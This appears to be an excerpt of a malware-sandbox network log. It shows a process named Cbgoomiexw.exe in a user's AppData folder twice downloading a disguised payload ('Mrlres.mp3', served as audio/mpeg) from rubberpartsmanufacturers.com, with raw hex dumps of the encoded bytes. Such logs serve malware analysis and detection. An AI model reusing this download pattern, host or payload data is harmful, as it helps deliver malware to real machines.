2024-10-09 08:51:00 UTC	8000	IN	Data Raw: bb ca 76 1d f5 7c 55 6b 58 74 c6 32 63 37 fb 1d f2 d1 a7 e8 a0 9c f2 bb f8 ec 5e f4 86 38 44 4e c6 04 93 be cb 87 9f 96 1e 8e a0 bf 1a 1c 3c fb 6e ad f8 68 02 04 d3 53 5f b9 bf f0 ab 24 8b 01 98 fa 30 fc 97 78 3d 76 6f e6 6f b0 8f 25 6d b4 3a e1 16 71 3e b5 17 b6 41 98 31 78 36 40 1c a6 19 20 55 89 99 e9 da 4d 84 72 cf 4e 98 9c b8 c2 8a 2b d1 12 98 ba 13 db 4f 33 ac c2 9f 2c b6 ef 3f f4 54 ed 4a d4 7a 05 41 c3 e6 b4 1b db 02 03 19 e0 ff 79 1b 86 ed 4f d7 b7 29 3d c0 d0 82 76 f4 37 5d 0c e6 73 4c be c6 7d ed de f8 d6 a7 ff 28 72 96 36 64 84 d3 4b 1e 78 44 f1 bc 62 64 58 16 90 6e 57 63 1d 4e 19 10 ba 63 84 32 42 7d e6 c0 2b 41 8a 3e eb bf 4c 84 ad aa 6c a1 a2 3e 56 23 71 4a 14 1d b0 b9 3f fa da 5b fd 99 f6 4b b2 0c 0d e4 88 1d ca 5b 75 68 dc 94 98 5f 59 0f Data Ascii: v\|UkXt2c7^8DN<nhS_$0x=voo%m:q>A1x6@ UMrN+O3,?TJzAyO)=v7]sL}(r6dKxDbdXnWcNc2B}+A>Ll>V#qJ?[K[uh_Y
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: 8a 0b 21 00 87 bc 1a 06 7f 57 bd 89 8c 18 4d b5 17 4c b6 e6 f7 ac e1 71 09 a5 e1 7f 86 4a d5 1b 4f 02 2d 8f c9 c4 5a e5 79 5c b4 22 4e 81 62 84 aa 93 87 4b a6 b7 ec ea 16 4c a3 81 df f6 b1 9e c8 32 b2 b0 4f 60 e5 cd e2 47 09 ea fb ff cb 64 b9 05 15 93 11 12 72 c7 28 43 21 fb a2 2e f0 99 ed 75 af 32 fd 17 53 85 eb b4 b5 09 f5 da 52 9c cc 9e 35 10 f2 4c 6a d7 33 32 01 c7 15 c7 9c 29 0a 6e 60 f2 40 a8 75 d4 5e 69 97 4c 67 54 5b ae bd 56 ee af b3 95 e1 fd a3 ad 73 ba 98 b6 15 05 fb b5 2c 53 2f d5 76 d4 0a af 14 43 4d c3 06 5c 12 2d 10 15 5d c9 a8 92 b4 7b 12 fb 29 fa 9d b1 bf 43 5a 7e ed 57 cf 7e ef 29 d4 5c ea 37 f4 cd 7f 7e 5b e4 92 02 a1 0e b0 5c 8c 95 f5 27 57 49 02 9c d4 f4 c9 f1 4d 46 e1 d5 6e c6 d1 8d ea 8e 3f 96 09 1a dd 1a 83 a5 e6 12 b5 0d 86 34 3c Data Ascii: !WMLqJO-Zy\"NbKL2O`Gdr(C!.u2SR5Lj32)n`@u^iLgT[Vs,S/vCM\-]{)CZ~W~)\7~[\'WIMFn?4<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	103.191.208.122	443	7744	C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 08:51:16 UTC	94	OUT	GET /omani/Mrlres.mp3 HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-09 08:51:17 UTC	235	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 08:51:17 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 09 Oct 2024 07:54:24 GMT Accept-Ranges: bytes Content-Length: 958480 Content-Type: audio/mpeg
2024-10-09 08:51:17 UTC	7957	IN	Data Raw: 88 14 a7 17 bd e8 67 29 50 62 e3 5e 42 a4 4a 34 19 52 a8 2c c3 23 95 4e 6a 7a 5e d8 17 90 c0 74 6f 69 9f d7 1d c0 6e 61 68 4a b7 48 b5 82 74 65 07 04 da ca 2b 86 46 d2 82 dc 75 03 96 e3 fa ee bc ef 53 e7 e5 b7 66 bb f0 92 b6 10 7d 8b 6f 52 55 38 be b9 ff d8 3f 84 1e c3 f5 84 44 f2 03 86 7e f4 7e 36 74 95 f7 73 de 1a 4a 72 4c d2 4d 6c bf 8a 46 c0 b4 0f a0 9e 64 01 60 e6 e6 5e 2f 3a e2 4e 31 25 6a 78 91 cb e5 6d c6 c0 3b ef fe 00 67 12 ce ff 25 4f d1 d1 7f e5 9f 7e 56 4a 71 40 91 13 1a 1e 94 dd 1a eb b0 72 cf d8 f9 3f bf b8 64 e4 c8 ea ea 58 18 cd 1f 3d 6b 6e 4a ff 5c 6e e0 9a dc d1 3d 1b 49 f3 b7 e5 38 9e de d6 81 d5 02 6b e3 2d f2 66 dc 94 b9 10 8a b0 eb 88 28 c5 c0 aa c1 85 9e 4b 90 27 ee 2d e6 b8 85 0d eb b5 49 fa a9 33 90 79 74 f0 2d 43 cd 2f 68 e5 bc Data Ascii: g)Pb^BJ4R,#Njz^toinahJHte+FuSf}oRU8?D~~6tsJrLMlFd`^/:N1%jxm;g%O~VJq@r?dX=knJ\n=I8k-f(K'-I3yt-C/h
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: c8 90 a7 89 1d e7 6d cd 21 aa 28 46 f1 f2 c5 a2 13 0b 1d 81 19 60 4f 58 2f 8c b2 29 1b 98 b0 4b 7f dd 7b 81 f1 d9 d3 a5 e7 8d 26 88 4a 28 6b f1 05 8f b8 0b 26 de 17 21 90 ea 1c 8e ef fb f0 2f 7f 09 ad 64 78 0d ae 33 a6 38 12 c4 a8 84 dc 0f 11 28 62 1d 06 10 29 66 cf c5 28 bf 0d df cc 91 3d 0b 02 b7 5f 16 f9 16 e4 5d fb ee 39 d1 8c e4 4a a0 99 e6 b2 d5 d6 d2 41 8c 75 f2 fc e4 fc c4 1b 5d a7 0f 23 8f 71 bf 4a 1d 9b 90 4a ce ca fc a4 7c 34 57 0d 7a cd 08 92 de 00 c1 38 f2 93 a8 9e ba dd 6e 66 32 8f c0 74 73 84 7f bd c9 29 dc 31 7b f8 8f 1f 2f df fd 70 bc 5c 32 de b3 52 f7 3c ed 50 d5 3c 4e 97 30 25 42 ae 1a 9a d3 cf 28 c8 09 15 04 d6 13 bd db 13 b3 15 93 ae 09 57 1b 0d 4e ee 82 37 8b 59 bf 8d 02 f5 4e a1 fe b3 3c 79 c1 79 9e a7 1e 92 7e 82 07 49 3d a3 e2 5f Data Ascii: m!(F`OX/)K{&J(k&!/dx38(b)f(=_]9JAu]#qJJ\|4Wz8nf2ts)1{/p\2R<P<N0%B(WN7YN<yy~I=_
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: ae 68 01 cb 0b d0 d6 62 67 49 43 55 da 28 9f cd 0b 86 80 d0 68 3b 19 55 7b 77 1f a0 8f 87 12 fe c5 e1 64 0c e7 a5 cd f5 9f b2 30 f4 89 5a 86 f7 37 6e 8e 77 ed f3 28 c4 8d e4 83 50 46 c6 83 ae 87 ae 51 e6 96 b9 85 f1 77 c8 e8 c6 ba 3b 1a 9b 06 57 a7 a2 23 8c da 85 c7 f2 5a 05 7e d7 04 59 25 df e1 03 87 64 3f 47 3e a7 7b 9e 2b 75 f5 99 41 b9 7e dc de 5a b3 d6 42 82 1c 83 2e cc a8 65 9c 2e 63 0b a7 3c 2e b4 c0 b8 a0 61 f4 80 44 15 65 d7 7d 96 53 58 48 8c 40 1f 08 12 76 b1 c2 48 b3 06 06 fe e2 25 65 ed 39 60 19 40 ae e7 b1 29 14 c3 f3 dc 1b 07 d5 33 66 2b 9a 83 af bb 43 90 3f 92 9a 28 b0 c2 2e 63 95 ad 37 f2 70 69 fa 9e 78 23 b1 c7 e6 33 7b db de fa a9 23 44 22 44 ec 3a d7 fa 74 81 24 02 3a 2b 9b bb 7f 4f 82 49 ce 2d 9f 44 38 bb 3d c7 cb b6 e2 9e 3f 3e ff da Data Ascii: hbgICU(h;U{wd0Z7nw(PFQw;W#Z~Y%d?G>{+uA~ZB.e.c<.aDe}SXH@vH%e9`@)3f+C?(.c7pix#3{#D"D:t$:+OI-D8=?>
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: 7f 14 8f 52 2b da 02 c9 83 ce 12 07 6f c7 86 ef 36 e4 a9 2f 40 b8 28 a6 a0 b1 41 f3 6c 76 fc 63 31 13 72 c8 9e 1a eb f5 d8 0e a0 c9 82 e8 ba 28 83 61 10 d7 32 9a 28 16 ea 70 2e 8e c1 35 28 cd 9d 8d cb d0 4c a9 0d 55 8c 39 b6 a2 ce 0c af f2 dd d7 8f c2 85 f9 a6 4a 7a 0b d6 5a 2b 35 f2 32 d1 13 ca 2a a6 92 f2 46 6e 3f ef af c7 a1 12 f7 7e 75 db 23 b8 fa 86 dc fb ed c0 8a 05 5d 18 bc cf ac 3c 77 1d 15 99 0b e1 3f 50 3c b6 1c 64 bf ed 0b f7 99 59 48 b8 e6 fc 5d 09 c8 7e dc e0 55 83 3b 94 53 75 aa 40 24 60 c4 4b 8f 40 e8 26 16 76 0f e5 9b 84 82 15 2f bb 72 ac e8 be df 81 00 9c db 6d c3 b9 9c 2a 5f f8 f2 d4 e8 0b fc b7 ec 00 b8 3b b9 e2 b5 c8 ee 7b 45 94 f9 d7 b7 59 45 be d4 a8 31 60 a4 50 e7 b7 38 84 5c cd 11 dd d3 6f 38 d3 5e 91 45 3f dc c8 77 73 6c 11 58 49 Data Ascii: R+o6/@(Alvc1r(a2(p.5(LU9JzZ+52Fn?~u#]<w?P<dYH]~U;Su@$`K@&v/rm_;{EYE1`P8\o8^E?wslXI
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: 52 cd 26 4a 45 b4 aa a5 f5 fe c1 d9 18 98 34 36 d1 6d 24 f5 07 7c 95 de 24 4a e8 cd e0 7c 64 cc 60 8a 41 32 33 7e 27 b1 26 50 fa 49 a5 0d 07 f0 df 0e 43 30 31 c9 4a e9 8e 44 49 a9 b9 c7 15 4c a2 4e da 91 0e 0e bb 13 58 3d 12 20 5b 5a a7 05 17 74 bb 05 7c 20 5d d9 b8 53 f7 af 4a c1 83 cc be dd a0 45 89 48 97 0a 83 84 8c fc 19 4e 63 77 01 44 86 9b d9 e7 42 42 eb 25 c0 a0 ae 6e fc 86 5e 2d 81 48 66 a7 a5 2c 9b b1 f2 39 0f e8 b6 5d a8 b3 00 57 39 74 51 9f 58 a0 6a c0 ca 9a 86 65 35 62 83 09 66 b9 20 a9 cf 0a c8 cc b6 25 0f 1a 46 20 55 f2 c5 a7 bd f7 0d 1e 21 68 d3 d0 65 93 fb e5 ae 02 2c 89 03 e5 bf 27 de e6 37 14 16 b5 4e 27 18 86 8a 2b 1a ee 8f c0 b9 cf c6 12 7f 1e c4 bd a1 36 99 b3 28 7e 4f c2 93 8c 94 53 ce 20 17 3f 55 96 c4 12 ca 25 77 1f 27 27 a7 4b c5 Data Ascii: R&JE46m$\|$J\|d`A23~'&PIC01JDILNX= [Zt\| ]SJEHNcwDBB%n^-Hf,9]W9tQXje5bf %F U!he,'7N'+6(~OS ?U%w''K
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: d3 88 53 21 ff 80 59 06 0b 8e 4e e0 04 6d dd 9a a1 d5 1b 66 65 ad cb bf 4a b3 75 37 b6 5c 6e c8 bb 87 cc 83 69 cb 8e f9 63 f3 42 c4 94 9b 71 76 e2 40 e7 21 f8 6c 43 1d 57 e5 79 8e 7f 8c 8f e0 9e 95 41 82 93 f0 27 32 7f f2 ad ee e6 1b 23 d6 d7 5a 32 32 40 42 ea e0 f8 b2 d2 75 d3 15 5a 61 d8 3e 92 9c 60 d3 a5 62 94 b6 d9 f8 ac d3 65 3d cb af f1 a0 1b b0 40 7a d6 4a 34 83 c4 62 39 fb 11 9c ea 7d 26 d9 01 84 7c d5 62 cd 6d 6b be da a7 eb a9 00 1d 75 26 91 43 df 7a 38 21 8c 1a 19 57 f9 42 83 a6 13 9b e4 f3 f6 82 a9 27 51 fa c0 b4 d4 f3 ec b1 65 97 f6 1e 9f 85 35 49 f8 ad 28 73 6d 82 47 e9 31 2c bc e4 e9 82 c0 33 bb 0c 80 1e eb 40 ef 98 44 25 d2 69 21 77 0f 0f 23 09 89 ae 1d 7e 35 c9 63 7a fa 95 a4 f7 ea f8 69 73 27 1c 6d be b1 ed 57 08 4d db 7d a1 d4 9f 20 c4 Data Ascii: S!YNmfeJu7\nicBqv@!lCWyA'2#Z22@BuZa>`be=@zJ4b9}&\|bmku&Cz8!WB'Qe5I(smG1,3@D%i!w#~5czis'mWM}
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: 3e 7d 0a e2 eb 1c 91 65 2e fb b7 02 aa cf ca 43 2c 4f 8f a0 35 ab e1 57 9e 88 8d e4 6f 61 db 43 90 15 89 ce 1e 91 1e 00 a2 02 92 95 96 b0 6f 95 a8 d4 ca fa e5 d3 54 60 1c 4c ec 49 1d 34 98 25 b9 50 21 ae 55 02 a5 1e f0 da 8e 0d f8 cd a2 69 1c 16 d7 15 ed 3f 1d 2c bd a8 95 ea af 47 a0 31 f6 e3 a6 da 94 bb 4c 5e fe 55 de 79 d3 c3 0f a9 76 d3 79 e3 5d 2d 8e 1c d0 82 93 fc d2 76 85 9e a3 ca 15 44 57 b1 d5 1a a7 99 d0 ef b5 65 77 ad dc 4f 56 31 06 4a b3 88 33 e8 56 3a 48 7c f9 13 ab 1e 6e 1e 29 f5 2b 4f 35 c5 0f 29 2a 6f 2c 98 7e 73 77 9b 9c 3f 2f 49 51 85 51 2d 1c 12 eb 39 93 0c 9f 41 71 e1 19 5f e1 f3 52 43 fd da 2d ef 2d c4 b7 a1 45 c7 c3 f3 19 58 7d c1 cc 3f e4 08 4c 71 d8 56 8b 6e 4a 14 e7 58 46 4c ea e2 50 73 b4 34 96 52 17 a8 50 4a 3f 61 43 7e a1 75 7e Data Ascii: >}e.C,O5WoaCoT`LI4%P!Ui?,G1L^Uyvy]-vDWewOV1J3V:H\|n)+O5)*o,~sw?/IQQ-9Aq_RC--EX}?LqVnJXFLPs4RPJ?aC~u~
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: 43 89 fc ce b6 1f 53 39 3d 1e dd 34 fb 1f ea f1 b6 83 38 aa 0b 08 30 a0 af b1 18 dd f0 41 03 b1 60 b8 14 9a f7 42 2a 39 07 9a c0 db 07 78 ec 3e da 46 b5 2d 04 ec e3 9f 16 4e 08 e0 70 37 6c 09 7a 04 05 5c 13 89 ed 13 69 ff 0b 7f 11 5e 8f df 74 37 17 ee b6 64 b5 50 f5 ca 6e e4 bc be 64 02 30 00 b9 df f4 b8 c9 f0 5b 12 e8 f1 4a cd 48 d1 d2 cd 08 a3 5f f6 ee 09 50 0c 2d a7 5d 8a cc 67 cc ef 1d 88 19 79 5b 2a 39 e4 79 51 b0 68 63 ee 6d b9 66 9a 0c 4c d9 c6 7d 28 5d e6 9d 07 81 3d 94 e1 f7 8b 2d ac 0b 7a a7 44 85 a0 ee f7 fe 45 b0 38 64 af 57 98 56 1b 12 aa a2 58 55 87 3b 9d 72 dd 9f da 4d ec 50 7d 31 3c 9c 3d 2a 76 22 50 bc ec b2 b3 4d a2 87 47 49 13 13 05 cc 5b cf 7d d9 b3 31 8e e7 62 4a 41 21 12 87 e3 9d ca e2 8b bf 58 ab 2f c1 42 7c a5 0c 0f 90 6f 93 ad 64 Data Ascii: CS9=480A`B9x>F-Np7lz\i^t7dPnd0[JH_P-]gy[9yQhcmfL}(]=-zDE8dWVXU;rMP}1<=*v"PMGI[}1bJA!X/B\|od
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: bb ca 76 1d f5 7c 55 6b 58 74 c6 32 63 37 fb 1d f2 d1 a7 e8 a0 9c f2 bb f8 ec 5e f4 86 38 44 4e c6 04 93 be cb 87 9f 96 1e 8e a0 bf 1a 1c 3c fb 6e ad f8 68 02 04 d3 53 5f b9 bf f0 ab 24 8b 01 98 fa 30 fc 97 78 3d 76 6f e6 6f b0 8f 25 6d b4 3a e1 16 71 3e b5 17 b6 41 98 31 78 36 40 1c a6 19 20 55 89 99 e9 da 4d 84 72 cf 4e 98 9c b8 c2 8a 2b d1 12 98 ba 13 db 4f 33 ac c2 9f 2c b6 ef 3f f4 54 ed 4a d4 7a 05 41 c3 e6 b4 1b db 02 03 19 e0 ff 79 1b 86 ed 4f d7 b7 29 3d c0 d0 82 76 f4 37 5d 0c e6 73 4c be c6 7d ed de f8 d6 a7 ff 28 72 96 36 64 84 d3 4b 1e 78 44 f1 bc 62 64 58 16 90 6e 57 63 1d 4e 19 10 ba 63 84 32 42 7d e6 c0 2b 41 8a 3e eb bf 4c 84 ad aa 6c a1 a2 3e 56 23 71 4a 14 1d b0 b9 3f fa da 5b fd 99 f6 4b b2 0c 0d e4 88 1d ca 5b 75 68 dc 94 98 5f 59 0f Data Ascii: v\|UkXt2c7^8DN<nhS_$0x=voo%m:q>A1x6@ UMrN+O3,?TJzAyO)=v7]sL}(r6dKxDbdXnWcNc2B}+A>Ll>V#qJ?[K[uh_Y
2024-10-09 08:51:17 UTC	8000	IN	Data Raw: 8a 0b 21 00 87 bc 1a 06 7f 57 bd 89 8c 18 4d b5 17 4c b6 e6 f7 ac e1 71 09 a5 e1 7f 86 4a d5 1b 4f 02 2d 8f c9 c4 5a e5 79 5c b4 22 4e 81 62 84 aa 93 87 4b a6 b7 ec ea 16 4c a3 81 df f6 b1 9e c8 32 b2 b0 4f 60 e5 cd e2 47 09 ea fb ff cb 64 b9 05 15 93 11 12 72 c7 28 43 21 fb a2 2e f0 99 ed 75 af 32 fd 17 53 85 eb b4 b5 09 f5 da 52 9c cc 9e 35 10 f2 4c 6a d7 33 32 01 c7 15 c7 9c 29 0a 6e 60 f2 40 a8 75 d4 5e 69 97 4c 67 54 5b ae bd 56 ee af b3 95 e1 fd a3 ad 73 ba 98 b6 15 05 fb b5 2c 53 2f d5 76 d4 0a af 14 43 4d c3 06 5c 12 2d 10 15 5d c9 a8 92 b4 7b 12 fb 29 fa 9d b1 bf 43 5a 7e ed 57 cf 7e ef 29 d4 5c ea 37 f4 cd 7f 7e 5b e4 92 02 a1 0e b0 5c 8c 95 f5 27 57 49 02 9c d4 f4 c9 f1 4d 46 e1 d5 6e c6 d1 8d ea 8e 3f 96 09 1a dd 1a 83 a5 e6 12 b5 0d 86 34 3c Data Ascii: !WMLqJO-Zy\"NbKL2O`Gdr(C!.u2SR5Lj32)n`@u^iLgT[Vs,S/vCM\-]{)CZ~W~)\7~[\'WIMFn?4<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	103.191.208.122	443	8052	C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 08:51:24 UTC	94	OUT	GET /omani/Mrlres.mp3 HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-09 08:51:25 UTC	235	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 08:51:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 09 Oct 2024 07:54:24 GMT Accept-Ranges: bytes Content-Length: 958480 Content-Type: audio/mpeg
2024-10-09 08:51:25 UTC	7957	IN	Data Raw: 88 14 a7 17 bd e8 67 29 50 62 e3 5e 42 a4 4a 34 19 52 a8 2c c3 23 95 4e 6a 7a 5e d8 17 90 c0 74 6f 69 9f d7 1d c0 6e 61 68 4a b7 48 b5 82 74 65 07 04 da ca 2b 86 46 d2 82 dc 75 03 96 e3 fa ee bc ef 53 e7 e5 b7 66 bb f0 92 b6 10 7d 8b 6f 52 55 38 be b9 ff d8 3f 84 1e c3 f5 84 44 f2 03 86 7e f4 7e 36 74 95 f7 73 de 1a 4a 72 4c d2 4d 6c bf 8a 46 c0 b4 0f a0 9e 64 01 60 e6 e6 5e 2f 3a e2 4e 31 25 6a 78 91 cb e5 6d c6 c0 3b ef fe 00 67 12 ce ff 25 4f d1 d1 7f e5 9f 7e 56 4a 71 40 91 13 1a 1e 94 dd 1a eb b0 72 cf d8 f9 3f bf b8 64 e4 c8 ea ea 58 18 cd 1f 3d 6b 6e 4a ff 5c 6e e0 9a dc d1 3d 1b 49 f3 b7 e5 38 9e de d6 81 d5 02 6b e3 2d f2 66 dc 94 b9 10 8a b0 eb 88 28 c5 c0 aa c1 85 9e 4b 90 27 ee 2d e6 b8 85 0d eb b5 49 fa a9 33 90 79 74 f0 2d 43 cd 2f 68 e5 bc Data Ascii: g)Pb^BJ4R,#Njz^toinahJHte+FuSf}oRU8?D~~6tsJrLMlFd`^/:N1%jxm;g%O~VJq@r?dX=knJ\n=I8k-f(K'-I3yt-C/h
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: c8 90 a7 89 1d e7 6d cd 21 aa 28 46 f1 f2 c5 a2 13 0b 1d 81 19 60 4f 58 2f 8c b2 29 1b 98 b0 4b 7f dd 7b 81 f1 d9 d3 a5 e7 8d 26 88 4a 28 6b f1 05 8f b8 0b 26 de 17 21 90 ea 1c 8e ef fb f0 2f 7f 09 ad 64 78 0d ae 33 a6 38 12 c4 a8 84 dc 0f 11 28 62 1d 06 10 29 66 cf c5 28 bf 0d df cc 91 3d 0b 02 b7 5f 16 f9 16 e4 5d fb ee 39 d1 8c e4 4a a0 99 e6 b2 d5 d6 d2 41 8c 75 f2 fc e4 fc c4 1b 5d a7 0f 23 8f 71 bf 4a 1d 9b 90 4a ce ca fc a4 7c 34 57 0d 7a cd 08 92 de 00 c1 38 f2 93 a8 9e ba dd 6e 66 32 8f c0 74 73 84 7f bd c9 29 dc 31 7b f8 8f 1f 2f df fd 70 bc 5c 32 de b3 52 f7 3c ed 50 d5 3c 4e 97 30 25 42 ae 1a 9a d3 cf 28 c8 09 15 04 d6 13 bd db 13 b3 15 93 ae 09 57 1b 0d 4e ee 82 37 8b 59 bf 8d 02 f5 4e a1 fe b3 3c 79 c1 79 9e a7 1e 92 7e 82 07 49 3d a3 e2 5f Data Ascii: m!(F`OX/)K{&J(k&!/dx38(b)f(=_]9JAu]#qJJ\|4Wz8nf2ts)1{/p\2R<P<N0%B(WN7YN<yy~I=_
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: ae 68 01 cb 0b d0 d6 62 67 49 43 55 da 28 9f cd 0b 86 80 d0 68 3b 19 55 7b 77 1f a0 8f 87 12 fe c5 e1 64 0c e7 a5 cd f5 9f b2 30 f4 89 5a 86 f7 37 6e 8e 77 ed f3 28 c4 8d e4 83 50 46 c6 83 ae 87 ae 51 e6 96 b9 85 f1 77 c8 e8 c6 ba 3b 1a 9b 06 57 a7 a2 23 8c da 85 c7 f2 5a 05 7e d7 04 59 25 df e1 03 87 64 3f 47 3e a7 7b 9e 2b 75 f5 99 41 b9 7e dc de 5a b3 d6 42 82 1c 83 2e cc a8 65 9c 2e 63 0b a7 3c 2e b4 c0 b8 a0 61 f4 80 44 15 65 d7 7d 96 53 58 48 8c 40 1f 08 12 76 b1 c2 48 b3 06 06 fe e2 25 65 ed 39 60 19 40 ae e7 b1 29 14 c3 f3 dc 1b 07 d5 33 66 2b 9a 83 af bb 43 90 3f 92 9a 28 b0 c2 2e 63 95 ad 37 f2 70 69 fa 9e 78 23 b1 c7 e6 33 7b db de fa a9 23 44 22 44 ec 3a d7 fa 74 81 24 02 3a 2b 9b bb 7f 4f 82 49 ce 2d 9f 44 38 bb 3d c7 cb b6 e2 9e 3f 3e ff da Data Ascii: hbgICU(h;U{wd0Z7nw(PFQw;W#Z~Y%d?G>{+uA~ZB.e.c<.aDe}SXH@vH%e9`@)3f+C?(.c7pix#3{#D"D:t$:+OI-D8=?>
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: 7f 14 8f 52 2b da 02 c9 83 ce 12 07 6f c7 86 ef 36 e4 a9 2f 40 b8 28 a6 a0 b1 41 f3 6c 76 fc 63 31 13 72 c8 9e 1a eb f5 d8 0e a0 c9 82 e8 ba 28 83 61 10 d7 32 9a 28 16 ea 70 2e 8e c1 35 28 cd 9d 8d cb d0 4c a9 0d 55 8c 39 b6 a2 ce 0c af f2 dd d7 8f c2 85 f9 a6 4a 7a 0b d6 5a 2b 35 f2 32 d1 13 ca 2a a6 92 f2 46 6e 3f ef af c7 a1 12 f7 7e 75 db 23 b8 fa 86 dc fb ed c0 8a 05 5d 18 bc cf ac 3c 77 1d 15 99 0b e1 3f 50 3c b6 1c 64 bf ed 0b f7 99 59 48 b8 e6 fc 5d 09 c8 7e dc e0 55 83 3b 94 53 75 aa 40 24 60 c4 4b 8f 40 e8 26 16 76 0f e5 9b 84 82 15 2f bb 72 ac e8 be df 81 00 9c db 6d c3 b9 9c 2a 5f f8 f2 d4 e8 0b fc b7 ec 00 b8 3b b9 e2 b5 c8 ee 7b 45 94 f9 d7 b7 59 45 be d4 a8 31 60 a4 50 e7 b7 38 84 5c cd 11 dd d3 6f 38 d3 5e 91 45 3f dc c8 77 73 6c 11 58 49 Data Ascii: R+o6/@(Alvc1r(a2(p.5(LU9JzZ+52Fn?~u#]<w?P<dYH]~U;Su@$`K@&v/rm_;{EYE1`P8\o8^E?wslXI
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: 52 cd 26 4a 45 b4 aa a5 f5 fe c1 d9 18 98 34 36 d1 6d 24 f5 07 7c 95 de 24 4a e8 cd e0 7c 64 cc 60 8a 41 32 33 7e 27 b1 26 50 fa 49 a5 0d 07 f0 df 0e 43 30 31 c9 4a e9 8e 44 49 a9 b9 c7 15 4c a2 4e da 91 0e 0e bb 13 58 3d 12 20 5b 5a a7 05 17 74 bb 05 7c 20 5d d9 b8 53 f7 af 4a c1 83 cc be dd a0 45 89 48 97 0a 83 84 8c fc 19 4e 63 77 01 44 86 9b d9 e7 42 42 eb 25 c0 a0 ae 6e fc 86 5e 2d 81 48 66 a7 a5 2c 9b b1 f2 39 0f e8 b6 5d a8 b3 00 57 39 74 51 9f 58 a0 6a c0 ca 9a 86 65 35 62 83 09 66 b9 20 a9 cf 0a c8 cc b6 25 0f 1a 46 20 55 f2 c5 a7 bd f7 0d 1e 21 68 d3 d0 65 93 fb e5 ae 02 2c 89 03 e5 bf 27 de e6 37 14 16 b5 4e 27 18 86 8a 2b 1a ee 8f c0 b9 cf c6 12 7f 1e c4 bd a1 36 99 b3 28 7e 4f c2 93 8c 94 53 ce 20 17 3f 55 96 c4 12 ca 25 77 1f 27 27 a7 4b c5 Data Ascii: R&JE46m$\|$J\|d`A23~'&PIC01JDILNX= [Zt\| ]SJEHNcwDBB%n^-Hf,9]W9tQXje5bf %F U!he,'7N'+6(~OS ?U%w''K
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: d3 88 53 21 ff 80 59 06 0b 8e 4e e0 04 6d dd 9a a1 d5 1b 66 65 ad cb bf 4a b3 75 37 b6 5c 6e c8 bb 87 cc 83 69 cb 8e f9 63 f3 42 c4 94 9b 71 76 e2 40 e7 21 f8 6c 43 1d 57 e5 79 8e 7f 8c 8f e0 9e 95 41 82 93 f0 27 32 7f f2 ad ee e6 1b 23 d6 d7 5a 32 32 40 42 ea e0 f8 b2 d2 75 d3 15 5a 61 d8 3e 92 9c 60 d3 a5 62 94 b6 d9 f8 ac d3 65 3d cb af f1 a0 1b b0 40 7a d6 4a 34 83 c4 62 39 fb 11 9c ea 7d 26 d9 01 84 7c d5 62 cd 6d 6b be da a7 eb a9 00 1d 75 26 91 43 df 7a 38 21 8c 1a 19 57 f9 42 83 a6 13 9b e4 f3 f6 82 a9 27 51 fa c0 b4 d4 f3 ec b1 65 97 f6 1e 9f 85 35 49 f8 ad 28 73 6d 82 47 e9 31 2c bc e4 e9 82 c0 33 bb 0c 80 1e eb 40 ef 98 44 25 d2 69 21 77 0f 0f 23 09 89 ae 1d 7e 35 c9 63 7a fa 95 a4 f7 ea f8 69 73 27 1c 6d be b1 ed 57 08 4d db 7d a1 d4 9f 20 c4 Data Ascii: S!YNmfeJu7\nicBqv@!lCWyA'2#Z22@BuZa>`be=@zJ4b9}&\|bmku&Cz8!WB'Qe5I(smG1,3@D%i!w#~5czis'mWM}
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: 3e 7d 0a e2 eb 1c 91 65 2e fb b7 02 aa cf ca 43 2c 4f 8f a0 35 ab e1 57 9e 88 8d e4 6f 61 db 43 90 15 89 ce 1e 91 1e 00 a2 02 92 95 96 b0 6f 95 a8 d4 ca fa e5 d3 54 60 1c 4c ec 49 1d 34 98 25 b9 50 21 ae 55 02 a5 1e f0 da 8e 0d f8 cd a2 69 1c 16 d7 15 ed 3f 1d 2c bd a8 95 ea af 47 a0 31 f6 e3 a6 da 94 bb 4c 5e fe 55 de 79 d3 c3 0f a9 76 d3 79 e3 5d 2d 8e 1c d0 82 93 fc d2 76 85 9e a3 ca 15 44 57 b1 d5 1a a7 99 d0 ef b5 65 77 ad dc 4f 56 31 06 4a b3 88 33 e8 56 3a 48 7c f9 13 ab 1e 6e 1e 29 f5 2b 4f 35 c5 0f 29 2a 6f 2c 98 7e 73 77 9b 9c 3f 2f 49 51 85 51 2d 1c 12 eb 39 93 0c 9f 41 71 e1 19 5f e1 f3 52 43 fd da 2d ef 2d c4 b7 a1 45 c7 c3 f3 19 58 7d c1 cc 3f e4 08 4c 71 d8 56 8b 6e 4a 14 e7 58 46 4c ea e2 50 73 b4 34 96 52 17 a8 50 4a 3f 61 43 7e a1 75 7e Data Ascii: >}e.C,O5WoaCoT`LI4%P!Ui?,G1L^Uyvy]-vDWewOV1J3V:H\|n)+O5)*o,~sw?/IQQ-9Aq_RC--EX}?LqVnJXFLPs4RPJ?aC~u~
